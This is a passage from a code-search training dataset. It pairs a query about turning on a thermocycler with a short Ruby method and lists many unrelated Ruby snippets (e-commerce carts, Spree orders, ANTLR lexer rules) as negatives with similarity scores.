$#{@shopping_cart.total_price}\"\n\tputs \"TOTAL Shipping Cost: $#{@shopping_cart.total_shipping_cost}\"\n\tputs \"-----------------------------------------------------------------------------------------\"\n\tputs \"GRAND TOTAL: $#{@shopping_cart.total_cost}\"\n\tputs \"-----------------------------------------------------------------------------------------\\n\"\nend", "def view_fg_products_side_a_allocation\n\n list_pack_stations \"A\", true\n\n end", "def buy_discount\n @buy_discount || rpg_shop.buy_discount\n end", "def show\n # set_chef\n @counter = 1\n @booking = Booking.new\n @menus = @chef.menus\n # @menus = @chef.menus.sort_by { |menu| menu.price }\n end", "def show\n\n @target = { :lng => cookies[:lng].to_f, :lat => cookies[:lat].to_f}\n\n @services = Service.find_by(slug: params[:id]).salons.joins(:prices).distinct\n @salons = @services.reorder(\"prices.price #{params[:sort] == 'skuplji' ? 'DESC' : 'ASC'}\")\n\n if params[:sort] == 'blizi' or params[:sort] == 'dalji'\n @salons = @services.sort { |l,r| l.distance_to(@target) <=> r.distance_to(@target) }\n end\n\n if params[:sort] == 'dalji'\n @salons = @salons.reverse\n end\n\n @number_of_results = @salons.count\n @salons = @salons.paginate(:page => params[:strana])\n\n\n\n end", "def product_name; end", "def pets_sold(pet_shop)\n return pet_shop[:admin][:pets_sold]\nend", "def pets_sold(pet_shop)\n return pet_shop[:admin][:pets_sold]\nend", "def pets_sold(pet_shop)\n return pet_shop[:admin][:pets_sold]\nend", "def pets_sold(pet_shop)\n return pet_shop[:admin][:pets_sold]\nend", "def pets_sold(pet_shop)\n return pet_shop[:admin][:pets_sold]\nend", "def pets_sold(pet_shop)\n return pet_shop[:admin][:pets_sold]\nend", "def pets_sold(pet_shop)\n return pet_shop[:admin][:pets_sold]\nend", "def show\n if Cart.edit_by?(@current_user)\n redirect_to orders_url\n return\n else\n if @current_user!=nil\n if @cart.line_items.blank?\n redirect_to books_url, notice: 'Корзина пуста.'\n return\n end\n end\n end\n end", "def hops_pickup_at_store_used_link\n $tracer.trace(__method__)\n return ToolTag.new(div.className(\"buy2\").a.id(\"/PickUpAtStore$/\"), __method__, self)\n #return ToolTag.new(a.id(\"/avail_trigger/\"), __method__, self)\n end", "def add_product_skus\n @order = Spree::Order.find_by_id(params[:order_id])\n @variant = Spree::Variant.find_by_id(params[:variant_id])\n @product = @variant.product\n requested_qty = params[:quantity]\n is_customer_pickup = @order.market_place_details.present? ? (@order.market_place_details[\"OrderType\"] == \"Pickup\" ? true : false) : false\n # code to find the order_total\n if @order.market_place.present?\n case @order.market_place.code\n when \"qoo10\"\n order_total = @order.market_place_details.present? ? @order.market_place_details[\"total\"] : @order.total\n when \"lazada\",'zalora'\n order_total = @order.total\n end\n end\n # code to create line item\n price = @variant.price.present? ? @variant.price : 0.0 \n @line_item = Spree::LineItem.create!(:variant_id=>@variant.id, :order_id=>@order.id, :quantity=>requested_qty, :price=>price, :currency=>@order.currency, :is_pick_at_store => is_customer_pickup)\n if @line_item.present?\n @sellers_market_places_product = Spree::SellersMarketPlacesProduct.where(\"seller_id=? AND market_place_id=? AND product_id=?\", @order.seller_id, @order.market_place_id, @product.id).try(:first)\n if @sellers_market_places_product.present?\n @stock_product = Spree::StockProduct.where(\"sellers_market_places_product_id=? AND variant_id=?\", @sellers_market_places_product.id, @variant.id).try(:first)\n if @stock_product.present?\n @stock_product.update_attributes(:count_on_hand=>(@stock_product.count_on_hand - requested_qty.to_i) >= 0 ? (@stock_product.count_on_hand - requested_qty.to_i) : 0)\n @variant.update_attributes(:fba_quantity=>(@variant.fba_quantity - requested_qty.to_i) >= 0 ? (@variant.fba_quantity - requested_qty.to_i) : 0) if !@variant.quantity_inflations.present?\n msg = 'Admin/Orders Controller add_product_skus Line 182'\n @variant.add_log_on_update(msg) rescue QTY_LOG.error \"#{Time.zone.now} Error -- #{msg}\"\n else\n @stock_product = Spree::StockProduct.create!(:sellers_market_places_product_id=>@sellers_market_places_product.id, :variant_id=>@variant.id, :count_on_hand=>requested_qty.to_i, :virtual_out_of_stock=>false)\n @variant.update_attributes(:fba_quantity=>(@variant.fba_quantity - requested_qty.to_i) >= 0 ? (@variant.fba_quantity - requested_qty.to_i) : 0) if !@variant.quantity_inflations.present?\n msg = 'Admin/Orders Controller add_product_skus Line 187'\n @variant.add_log_on_update(msg) rescue QTY_LOG.error \"#{Time.zone.now} Error -- #{msg}\"\n end\n end\n end\n # code to update order total after creating line item for order\n @order.update_column(:total, order_total)\n @order.reload\n line_items = @order.line_items\n ActiveSupport::Notifications.instrument('spree.order.contents_changed', {:user => nil, :order => @order})\n respond_to do |format|\n format.html { render :partial=>\"modify_shipping\", :locals => { :line_items => line_items }}\n end\n end", "def purchase_stock!\n nil\n end", "def show\n @brand = Brand.find(@product.brand.id)\n @shades = @product.shades.order(:position)\n # @matching_products = @product.find_matching_products\n if !user_administrator?\n @product.views = @product.views.nil? ? 1 : @product.views + 1\n @product.save\n end\n end", "def pets_sold(pet_shop)\n return pet_shop[:admin][:pets_sold]\nend", "def show\n @shops = Shop.near([@shop.latitude, @shop.longitude], 20, units: :km)\n end", "def show_store_inventory(locations,products)\n #Loop through Stores Location Id List\n puts \"====== STORE INVENTORY CHECK ========\"\n ind = 0\n for locid in @location_list\n prod_list = locations[ind][1].product_list\n prod_list.each do | product_id, quantity |\n pquery = Utils::product_name_query(product_id,products)\n pname = pquery[0]\n price = pquery[1]\n puts \"Location: #{locid}, Product Id: #{product_id}, Product Name: #{pname}, Price: $#{price}, Quantity: #{quantity}\"\n end\n ind += 1 #update index\n end #for\n end", "def get_cart_item_name\n Spree::Variant.where(id: self.variant_id).first.name\n end", "def langsam_vertikal_bewegen(entfernung)\n absolute_entfernung = entfernung\n if sichtbar? \n delta = 1\n if entfernung < 0 \n delta = -1\n absolute_entfernung = - entfernung\n end \n x_delta = 0\n y_delta = delta\n Leinwand.gib_einzige_instanz().\n bewege(self,absolute_entfernung,x_delta,y_delta)\n end \n @spitze = @spitze + Punkt.new(0,entfernung)\n end", "def show\n \n @currents = @merchant.current\t\n @sales = @merchant.sale\n @leases = @merchant.lease\n \n end", "def listing_products_qoo10(product, sellers_market_places_product)\n @error_message = \"\"\n begin\n @sellers_market_places_product = sellers_market_places_product\n @market_place_product = Spree::SellersMarketPlacesProduct.where(\"seller_id=? AND market_place_id=? AND product_id=?\", @sellers_market_places_product.seller_id, @sellers_market_places_product.market_place_id, product.id)\n @taxon_market_plcaes = Spree::TaxonsMarketPlace.where(\"taxon_id=? AND market_place_id=?\", product.taxons.first.id, @sellers_market_places_product.market_place_id) if product.taxons.present?\n if @taxon_market_plcaes && !@taxon_market_plcaes.blank?\n if !@market_place_product.blank? && !@market_place_product.first.market_place_product_code.present? && !@taxon_market_plcaes.blank?\n adult = product.is_adult ? 'Y' : 'N'\n item_title = product.name\n image_url = \"\"\n if !product.variant_images.nil? && !product.variant_images.blank?\n size = 0\n product.variant_images.each do |mg|\n if mg.attachment_file_name.split(\"_\").first.capitalize == \"qoo10\".capitalize && size < mg.attachment_file_size\n image_url = mg.attachment.url(:original)\n size = mg.attachment_file_size\n end\n end\n end\n image_url = image_url.present? ? image_url : (request.host.to_s+\":\"+request.port.to_s+\"/assets/noimage/large.png\")\n item_description = product.description\n @item_type = \"\"\n product.variants.each do |v|\n @item_type = @item_type + v.option_values.first.option_type.name + \"||*\"\n @item_type = @item_type + v.option_values.first.name + \"||*\" + (v.cost_price.nil? ? v.prices.first.amount : v.cost_price).to_s + \"||*\"\n @item_type = @item_type + v.count_on_hand.to_s + \"||*\"+(v.sku.present? ? v.sku.to_s : \"0\")\n @item_type = @item_type + ((v == product.variants.last) ? \"\" : \"$$\") #@object <= product\n end if product.variants.present?\n item_type = @item_type #'Color/Size||*White/100||*1000||*10||*0$$Color/Size||*Black/100||*1000||*10||*0'\n retail_price = product.price.to_f\n item_price = product.selling_price.present? ? product.selling_price.to_f : product.price.to_f\n item_quantity = !product.stock_products.blank? ? product.stock_products.where(:sellers_market_places_product_id=>@sellers_market_places_product.id).sum(&:count_on_hand) : 0\n expiry_date = (Time.now + 1.year).strftime(\"%Y-%m-%d\")\n user_market_place = Spree::SellerMarketPlace.where(\"seller_id=? AND market_place_id=?\", @sellers_market_places_product.seller_id, @sellers_market_places_product.market_place_id)\n seller_code = sellers_market_places_product.product.sku.present? ? sellers_market_places_product.product.sku : \"\" rescue \"\"\n if !user_market_place.blank? && !user_market_place.first.api_secret_key.nil?\n shipping_no = user_market_place.first.shipping_code.to_s #\"418422\" # '0' :=> 'Free Shiping', '400896' :=> 'Free on condition' where '400896' is SR code of Qoo10 backend for Others, '418422' :=> 'Free on condition' where '418422' is SR code of Qoo10 backend for Qxpress.\n uri = URI('http://api.qoo10.sg/GMKT.INC.Front.OpenApiService/GoodsBasicService.api/SetNewGoods')\n req = Net::HTTP::Post.new(uri.path)\n req.set_form_data({'key'=>user_market_place.first.api_secret_key.to_s,'SecondSubCat'=>@taxon_market_plcaes.first.market_place_category_id.to_s,'ManufactureNo'=>'','BrandNo'=>'','ItemTitle'=>item_title.to_s,'SellerCode'=>seller_code.to_s,'IndustrialCode'=>'','ProductionPlace'=>'','AudultYN'=>adult.to_s,'ContactTel'=>'','StandardImage'=>image_url.to_s,'ItemDescription'=>item_description.to_s,'AdditionalOption'=>'','ItemType'=>item_type.to_s,'RetailPrice'=>retail_price.to_s,'ItemPrice'=>item_price.to_s,'ItemQty'=>item_quantity.to_s,'ExpireDate'=>expiry_date.to_s,'ShippingNo'=>shipping_no.to_s,'AvailableDateType'=>'','AvailableDateValue'=>''})\n res = Net::HTTP.start(uri.hostname, uri.port) do |http|http.request(req)end\n if res.code == \"200\"\n res_body = Hash.from_xml(res.body).to_json\n res_body = JSON.parse(res_body, :symbolize_names=>true)\n mp_product_code = res_body[:StdCustomResultOfGoodsResultModel][:ResultObject][:GdNo]\n if mp_product_code.nil?\n @error_message = res_body[:StdCustomResultOfGoodsResultModel][:ResultMsg]\n else\n @market_place_product.first.update_attributes(:market_place_product_code=>mp_product_code) if !@market_place_product.blank?\n end\n else\n @error_message = res.message\n end\n else\n @error_message = \"Api key or Secret key is missing\"\n end\n end\n else\n @error_message = \"Please map market place category to list product.\"\n end\n rescue Exception => e\n @error_message << e.message\n end\n return @error_message && @error_message.length > 0 ? @error_message : true\n end", "def catalog_item\n item_unit.catalog_item\n end", "def show\n if @deal.profile.boxberry_office_id.present? && @deal.weight.present? && @deal.sell.present?\n @cost = shipping_cost(@deal.profile.boxberry_office_id.to_i, @deal.weight.to_i, 1, 0, @deal.sell.to_i)\n else\n @cost = 0\n end\n end", "def buy_action(shopItems)\n for shop_item in shopItems\n $game_party.lose_gold(shop_item.item.price * shop_item.quantity)\n $game_party.gain_item(shop_item.item, shop_item.quantity)\n end\n end", "def activate\n \n Variant.additional_fields += [\n {:name => 'Bookable', :use => 'check_box', :only => [:product]},\n {:name => 'Ask Start Date', :use => 'check_box', :only => [:product]},\n {:name => 'Ask End Date', :use => 'check_box', :only => [:product]}\n ]\n \n # Customise the Order model\n\n Order.class_eval do\n def all_bookable?\n return false if self.line_items.empty?\n self.line_items.all?{|li| li.product.bookable?}\n end\n \n #\n # would like to see this or similar in core. General \n # flag for orders that don't need to be shipped.\n #\n def intangible?\n self.all_bookable?\n end\n \n end\n\n\n # Customise the order controller's create.before procedure to record\n # start and end dates on the line items for bookable products\n\n \n OrdersController.class_eval do\n def create_before \n params[:products].each do |product_id,variant_id|\n quantity = params[:quantity].to_i if !params[:quantity].is_a?(Array)\n quantity = params[:quantity][variant_id].to_i if params[:quantity].is_a?(Array)\n if quantity > 0\n v = Variant.find(variant_id)\n @order.add_variant(v, quantity)\n add_dates_to_variant_line_item(v, params[:start_date], params[:end_date])\n end\n end if params[:products]\n\n params[:variants].each do |variant_id, quantity|\n quantity = quantity.to_i\n if quantity > 0\n v = Variant.find(variant_id)\n @order.add_variant(v, quantity) \n add_dates_to_variant_line_item(v, params[:start_date], params[:end_date])\n end\n end if params[:variants]\n\n @order.save\n\n # store order token in the session\n session[:order_token] = @order.token\n end\n \n \n def add_dates_to_variant_line_item(variant, start_date, end_date)\n li = @order.contains?(variant)\n li.start_date = start_date if (start_date && variant.product.ask_start_date?)\n li.end_date = end_date if (end_date && variant.product.ask_end_date?)\n li.save if li.changed?\n end\n end\n \n end", "def shopping_cart_cleanup\n\n end", "def show\n randomShop\n end", "def populate\n order = current_order(create_order_if_necessary: true)\n variant = Spree::Variant.find(params[:variant_id])\n quantity = params[:quantity].to_i\n options = params[:options] || {}\n original_price = params[:price].to_i\n sku = params[:sku]\n direccion = params[:direccion]\n code = params[:code]\n price = getPrice(code, original_price)\n\n # 2,147,483,647 is crazy. See issue #2695.\n if quantity.between?(1, 2_147_483_647)\n begin\n order.contents.add(variant, quantity, options)\n rescue ActiveRecord::RecordInvalid => e\n error = e.record.errors.full_messages.join(\", \")\n end\n else\n error = Spree.t(:please_enter_reasonable_quantity)\n end\n\n if direccion.empty?\n url = \"http://integra6.ing.puc.cl/tienda/noAddress\"\n redirect_to url\n else\n if (quantity>Bodega.getProductStock(sku))\n url = \"http://integra6.ing.puc.cl/tienda/stock\"\n redirect_to url\n else\n @id_boleta = Banco.crearBoleta(quantity*price, direccion)\n Bodega.despacharPedido(@id_boleta, sku, quantity, price, direccion)\n urlOk='http://integra6.ing.puc.cl/tienda/success/'<<@id_boleta\n url = $heroku_url+ \"web/pagoenlinea?callbackUrl=\"+urlOk+\"&cancelUrl=http://integra6.ing.puc.cl/tienda/error&boletaId=\"+@id_boleta\n redirect_to url\n end\n end\n end", "def shopping\n if current_cart\n unless current_cart.line_items.empty?\n if current_cart.line_items.order(:created_at).last.product\n \"/products/index\"\n elsif current_cart.line_items.order(:created_at).last.malone_tuning\n \"/malone_tunings/index_deploy\"\n end\n end\n else\n \"/\"\n end\n end", "def show\n # todo: Se sigue usando???\n # @cart_action = @producto.cart_action(session)\n end", "def manufacture; end", "def get_skus\n if params[:id].present?\n @msg = 'nothing'\n respond_to do |format|\n format.json { render :json => {:variant => @msg }}\n return\n end\n end\n\n @product = Spree::Product.find(params[:product_id])\n self_parent = @product.variants.map(&:parent_id)\n self_parent << @product.master.id\n self_parent = self_parent.flatten\n @variant = params[:variant]\n @products = @product.seller.products.where(:is_approved=>true)\n @product_hash = []\n @products.each do |product|\n product_variants = []\n product_variants << (product.variants.present? ? product.variants : product.master)\n product_variants = product_variants.flatten\n product_variants.each do |pv|\n if !pv.parent_id.present? && !(self_parent.include? pv.id)\n if pv.option_values.present?\n @product_hash << {:name=> (product.name+\" -> \"+pv.option_values.first.presentation+\" (\"+pv.sku.to_s+\")\"), :id=>pv.id}\n else\n @product_hash << {:name=> (product.name+\" (\"+pv.sku.to_s+\")\"), :id=>pv.id}\n end\n end\n end\n end if @products.present?\n @variant = Spree::Variant.new(:product_id => @product.id)\n @variant.attributes = @variant.product.master.attributes.except('id', 'created_at', 'deleted_at',\n 'sku', 'is_master')\n # Shallow Clone of the default price to populate the price field.\n @variant.default_price = @variant.product.master.default_price.clone\n respond_to do |format|\n format.html { render :partial=>\"map_variant\", :locals => {:product => @product, :variant => @variant}}\n end\n end", "def purchase(item)\n \"thank you for visiting supermarket and buying #{item}!\" # this will overwrite the mixin above\n end", "def purchase(item)\n \"thank you for visiting supermarket and buying #{item}!\" # this will overwrite the mixin above\n end", "def shipped\n corresponding_item = self.item.take\n current_inventory = corresponding_item.inventory_level\n corresponding_item.update_attribute(:inventory_level, (self.quantity + current_inventory)) unless previous.nil?\n self.update_attribute(:shipped_on, date.current.to_date)\n\n def item_exists_and_active?\n all_active_items = Item.active.all.map(&:id)\n if all_active_items.include?(self.item_id)\n return true\n end\n errors.add(:item_id, \"is not an active item at the chess store\")\n return false\n end\n\n def subtotal(date = nil)\n end\n\n def valid_quantity?\n if self.quantity >= 0\n return true\n end\n stock_quantity = self.item.inventory_level\n if (self.quantity* -1) > stock_quantity\n errors.add(:quantity, \"too much purchase quantity\")\n return false\n end\n return true\n end\nend", "def purchase\n \t@stock -= 1\n end", "def set_product\n \n end", "def add_univstub_with_discount() add_to_cart_common(:add_product, params[:id]) end", "def mover_despachar(idfactura)\n begin\n logger.debug(\"...Inicio mover despachar\")\n response_inv = InvoicesController.new.obtener_factura(idfactura)\n factura = nil\n oc = nil\n sku = nil\n cantidad = nil\n if response_inv[:status]\n factura = response_inv[:result]\n request_oc = OrdersController.new.obtener_oc(factura[0]['oc'])\n if request_oc[:status]\n oc = request_oc[:result]\n sku = oc[0]['sku']\n cantidad = oc[0]['cantidad']\n end\n end\n stock_aux = StoresController.new\n product = Product.where('sku = ?',sku).first\n precio = product['precio_unitario'] \n grupo = InfoGrupo.where('id_grupo = ?',oc[0]['cliente']).first\n almacen_cliente = grupo['id_almacen']\n almacen_despacho = Store.where('pulmon = ? AND despacho = ? AND recepcion = ?',false,true,false).first\n j = 0\n flag = false\n Store.where('pulmon = ? AND despacho = ? AND recepcion = ?',false,false,false).each do |fabrica|\n list_products = stock_aux.get_stock(sku,fabrica['_id'])\n if list_products[:status]\n #new_list = list_products[:result].select{|aux| aux['despachado'] == false}\n list_products[:result].each do |item|\n if j < cantidad \n request_mov = stock_aux.mover_stock(item['_id'],almacen_despacho['_id'])\n response_mov = request_mov.run \n if response_mov.success? \n result_mov_prod = JSON.parse(response_mov.body) \n request_stock = stock_aux.mover_stock_bodega(result_mov_prod['_id'],almacen_cliente,oc[0]['_id'],precio)\n response_stock = request_stock.run\n if response_stock.success?\n logger.debug(\"...Product movido correctamente (mover_despachar)\")\n result_stock = JSON.parse(response_stock.body)\n end\n end\n else\n break\n end\n j = j + 1\n end\n flag = true\n end\n end\n if flag\n enviar_despacho(factura[0]['_id'],factura[0]['cliente'])\n order_obj = Order.where('_id = ?',factura[0]['oc'].to_s).first\n order_obj.estado = 'despachada'\n order_obj.save\n end\n logger.debug(\"...Fin mover despacho\")\n return {:status => true}\n rescue => ex\n Applog.debug(ex.message,'mover_despacho')\n end\nend", "def trade; end", "def shop\n return shops[0]\n end", "def view_cart\n @products\n end" ]
[ "0.61836284", "0.60251665", "0.5986222", "0.5920735", "0.58869344", "0.58781284", "0.5825195", "0.57975036", "0.57860315", "0.578054", "0.5738529", "0.57088864", "0.5681119", "0.56549674", "0.5640281", "0.56369823", "0.5618708", "0.5587755", "0.55751187", "0.55608016", "0.5545513", "0.55368465", "0.5528882", "0.55118394", "0.5509203", "0.5509203", "0.5492674", "0.5470978", "0.5467203", "0.5453933", "0.5446483", "0.54363966", "0.5428374", "0.54193264", "0.5415617", "0.5385934", "0.53841686", "0.5383078", "0.5378453", "0.5375619", "0.5366162", "0.53608567", "0.534167", "0.534167", "0.53412235", "0.5340557", "0.5328977", "0.5321844", "0.5317056", "0.5305907", "0.5304555", "0.53014356", "0.52921855", "0.528531", "0.527805", "0.5272903", "0.52639365", "0.52597964", "0.5256779", "0.5240745", "0.5237009", "0.5234202", "0.5233349", "0.5233349", "0.5233349", "0.5233349", "0.5233349", "0.5233349", "0.5226025", "0.52246195", "0.52232975", "0.5220229", "0.521663", "0.5204214", "0.52041644", "0.52022034", "0.5201153", "0.51980406", "0.5196647", "0.5191149", "0.5187016", "0.51854396", "0.5183743", "0.5183401", "0.51776385", "0.5176101", "0.51759803", "0.51738393", "0.5172118", "0.51704633", "0.51674074", "0.51645136", "0.51645136", "0.5159422", "0.515698", "0.51533264", "0.51471025", "0.51457524", "0.51448554", "0.5138716", "0.51244897" ]
0.0
-1
Language Methods These methods are not very specific and will probably need to be overridden in the concrete classes. Instructions for turning on the thermocycler
def turn_on "Turn on the #{model}" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def language_aware!\n\t\traise_if_error C.glyr_opt_lang_aware_only(to_native, true)\n\tend", "def tongue_twister; end", "def _lex_trans_actions; end", "def _lex_trans_actions; end", "def _lex_trans_actions; end", "def _lex_trans_actions; end", "def add_language_terminology(t)\n t.language(:path=>\"language\"){\n t.lang_text(:path=>\"languageTerm\", :attributes=>{:type=>\"text\"})\n t.lang_code(:path=>\"languageTerm\", :attributes=>{:type=>\"code\"})\n }\n t.language_text(:proxy=>[:language, :lang_text], :index_as=>[:displayable, :facetable])\n t.language_code(:proxy=>[:language, :lang_code], :index_as=>[:displayable])\n end", "def th!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 18 )\n\n type = TH\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 344:5: 'th'\n match( \"th\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 18 )\n\n end", "def language_server; end", "def class!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 23 )\n\n\n\n type = CLASS\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 44:8: 'platillo'\n match( \"platillo\" )\n\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 23 )\n\n\n end", "def language_client; end", "def language; end", "def language; end", "def language; end", "def language; end", "def tld; end", "def tld; end", "def init_linguistics\n Linguistics::use(:en)\nend", "def _lex_actions; end", "def benchs\n %w( alchemy_api google_api language_detector language_detector_tc whatlanguage )\n end", "def tralics_commands\n base_commands = <<-'EOS'\n% Commands specific to Tralics\n\\def\\hyperref[#1]#2{\\xmlelt{a}{\\XMLaddatt{target}{#1}#2}}\n\\newcommand{\\heading}[1]{\\xmlelt{heading}{#1}}\n\\newcommand{\\codecaption}[1]{\\xmlelt{heading}{#1}}\n\\newcommand{\\sout}[1]{\\xmlelt{sout}{#1}}\n\\newcommand{\\kode}[1]{\\xmlelt{kode}{#1}}\n\\newcommand{\\coloredtext}[2]{\\xmlelt{coloredtext}{\\AddAttToCurrent{color}{#1}#2}}\n\\newcommand{\\coloredtexthtml}[2]{\\xmlelt{coloredtexthtml}{\\AddAttToCurrent{color}{#1}#2}}\n\\newcommand{\\filepath}[1]{\\xmlelt{filepath}{#1}}\n\\newcommand{\\image}[1]{\\xmlelt{image}{#1}}\n\\newcommand{\\imagebox}[1]{\\xmlelt{imagebox}{#1}}\n% Ignore pbox argument, just replacing with content.\n\\newcommand{\\pbox}[2]{#2}\n% Ignore some other commands.\n\\newcommand{\\includepdf}[1]{}\n\\newcommand{\\newunicodechar}[2]{}\n\\newcommand{\\extrafloats}[1]{}\n EOS\n custom_commands = <<-EOS\n\\\\usepackage{amsthm}\n\\\\theoremstyle{definition}\n\\\\newtheorem{codelisting}{#{language_labels[\"listing\"]}}[chapter]\n\\\\newtheorem{aside}{#{language_labels[\"aside\"]}}[chapter]\n EOS\n [base_commands, custom_commands].join(\"\\n\")\n end", "def trd; end", "def england\n end", "def lt!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 11 )\n\n\n\n type = LT\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 32:5: '<'\n match( 0x3c )\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 11 )\n\n\n end", "def operate_switch_language(code)\n #callback(:before_switch_language)\n @translation_cache = {} if @translation_cache.nil?\n facet_names = self.class.globalize_facets\n @translation_cache[language_code] = @attributes.dup.delete_if {|key, value| !facet_names.include? key.to_sym}\n Locale.switch(code) do\n set_original_language\n if @translation_cache.include? code\n @attributes.update @translation_cache[code]\n elsif @original_language == Locale.base_language and !@new_record\n reload\n elsif !@new_record\n trs = ModelTranslation.find(:all, \n :conditions => [ \"table_name = ? AND item_id = ? AND language_id = ? AND \" +\n \"facet IN (#{[ '?' ] * facet_names.size * ', '})\", self.class.table_name,\n self.id, @original_language.id ] + facet_names.map {|facet| facet.to_s} )\n trs ||= []\n trs.each do |tr|\n attr = tr.text || base[tr.facet.to_s]\n write_attribute( tr.facet, attr )\n end\n end\n \n operate_switch_language_on_associations(code)\n \n #callback(:after_switch_language)\n end\n end", "def king_richard_iii; end", "def anchored; end", "def do_something_else(language)\n puts \"#{language} is the best programming language\"\nend", "def bool!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 27 )\n\n\n\n type = BOOL\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 48:7: ( 'verdadero' | 'falso' )\n # at line 48:7: ( 'verdadero' | 'falso' )\n alt_7 = 2\n look_7_0 = @input.peek( 1 )\n\n if ( look_7_0 == 0x76 )\n alt_7 = 1\n elsif ( look_7_0 == 0x66 )\n alt_7 = 2\n else\n raise NoViableAlternative( \"\", 7, 0 )\n\n end\n case alt_7\n when 1\n # at line 48:9: 'verdadero'\n match( \"verdadero\" )\n\n\n when 2\n # at line 48:23: 'falso'\n match( \"falso\" )\n\n\n end\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 27 )\n\n\n end", "def lyric; end", "def silly_adjective; end", "def do_show_lang\n $document.at_css('#tryruby-lang-hider').toggle_class('hidden')\n end", "def terpene; end", "def lt!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 27 )\n\n type = LT\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 161:6: '<'\n match( 0x3c )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 27 )\n\n end", "def check_starting(_lang_result)\n end", "def cp_l\n end", "def language_interpreter\n # Do not show this block in CYA if the user didn't yet reach this step\n # (we know because the array will be `nil` in that case).\n return [] if arrangement.language_options.nil?\n\n AnswersGroup.new(\n :language_interpreter,\n [\n Answer.new(\n :language_interpreter,\n arrangement.language_options.include?(LanguageHelp::LANGUAGE_INTERPRETER.to_s).to_s\n ),\n FreeTextAnswer.new(:language_interpreter_details, arrangement.language_interpreter_details),\n Answer.new(\n :sign_language_interpreter,\n arrangement.language_options.include?(LanguageHelp::SIGN_LANGUAGE_INTERPRETER.to_s).to_s\n ),\n FreeTextAnswer.new(:sign_language_interpreter_details, arrangement.sign_language_interpreter_details),\n Answer.new(\n :welsh_language,\n arrangement.language_options.include?(LanguageHelp::WELSH_LANGUAGE.to_s).to_s\n ),\n FreeTextAnswer.new(:welsh_language_details, arrangement.welsh_language_details),\n ],\n change_path: edit_steps_attending_court_language_path\n )\n end", "def enchantment; end", "def t__18!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 11 )\n\n type = T__18\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 27:9: 'L'\n match( 0x4c )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 11 )\n\n end", "def lt!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 55 )\n\n type = LT\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 382:6: '<'\n match( 0x3c )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 55 )\n\n end", "def lang(orig); end", "def clint\n return :kitty\n \nend", "def cmp_enable_mode\n super\n end", "def superweening_adorningly(counterstand_pyrenomycetales)\n end", "def lang=(_arg0); end", "def lang=(_arg0); end", "def how_it_works\r\n end", "def corder!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 11 )\n\n\n\n type = CORDER\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 297:3: ']'\n match( 0x5d )\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 11 )\n\n\n end", "def enchant\n end", "def myletter\n \n end", "def herald; end", "def scaffold_translations(the_tree)\n translations = []\n each_head(the_tree) do |tp_word, parent|\n if native_tokipona?(tp_word)\n role = get_role(parent)\n # tp = TokiponaPhrase.find_by(words: principal_tokipona_form(tp_word), role: role) # ACCOUNT FOR ROLE\n tp = TokiponaPhrase.where('words = ?', principal_tokipona_form(tp_word)).find_in_role(role).first\n else\n # make or find proper noun\n tp = TokiponaPhrase.find_or_create_by(words: tp_word.capitalize, role: 'i')\n end\n byebug if tp.nil?\n english_phrase = EnglishPhrase.find_by(tokipona_phrase_id: tp.id)\n\n translations.push(\n tp: tp.words,\n tp_role: tp.role,\n tp_id: tp.id,\n en: english_phrase.nil? ? nil : english_phrase.base_form,\n en_id: english_phrase.nil? ? nil : english_phrase.id\n )\n end\n translations\n end", "def lang; end", "def lang; end", "def lang; end", "def lang; end", "def lh(t, s, c)\n\n end", "def learning_mode\n super\n end", "def learning_mode\n super\n end", "def blg; end", "def cpl\n end", "def scientist; end", "def who_we_are\r\n end", "def _lex_indicies; end", "def _lex_indicies; end", "def _lex_indicies; end", "def _lex_indicies; end", "def switch(name,aliases,desc,long_desc,negatable)\n abstract!\n end", "def synpred83_Compilador\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 147 )\n\n\n # at line 581:51: usar_metodo\n @state.following.push( TOKENS_FOLLOWING_usar_metodo_IN_synpred83_Compilador_2879 )\n usar_metodo\n @state.following.pop\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 147 )\n\n\n end", "def whiny; end", "def mitch_hedberg; end", "def _lex_trans_targs; end", "def _lex_trans_targs; end", "def _lex_trans_targs; end", "def _lex_trans_targs; end", "def translation_target\n super\n end", "def draw_tactic_overview\n 